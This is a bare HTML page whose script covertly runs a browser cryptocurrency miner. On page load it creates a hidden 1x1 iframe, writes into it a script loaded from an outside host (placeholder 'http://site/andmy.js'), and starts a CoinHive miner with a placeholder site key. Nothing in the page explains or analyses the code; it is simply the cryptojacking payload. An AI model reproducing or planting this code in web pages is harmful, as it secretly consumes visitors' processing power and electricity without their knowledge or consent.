<html>
<body>
<script>
function iframed(ifcount) {
var content = "<script src=\"http://site/andmy.js\"><\/script><script>var miner"+ifcount+" = new CoinHive.Anonymous('sitekey')\;miner"+ifcount+".start()\;<\/script>";
var iname = document.createElement('iframe');
iname.id = 'iframe'+ifcount;
iname.height ="1";
iname.width ="1";
document.body.appendChild(iname);
var ifidname = document.getElementById('iframe'+ifcount)
ifidname.contentWindow.document.open();
ifidname.contentWindow.document.write(content);
ifidname.contentWindow.document.close();
}
var counter = 0;
while (counter < 1) {
counter++;
iframed(counter);
}
</script>
</body>
</html>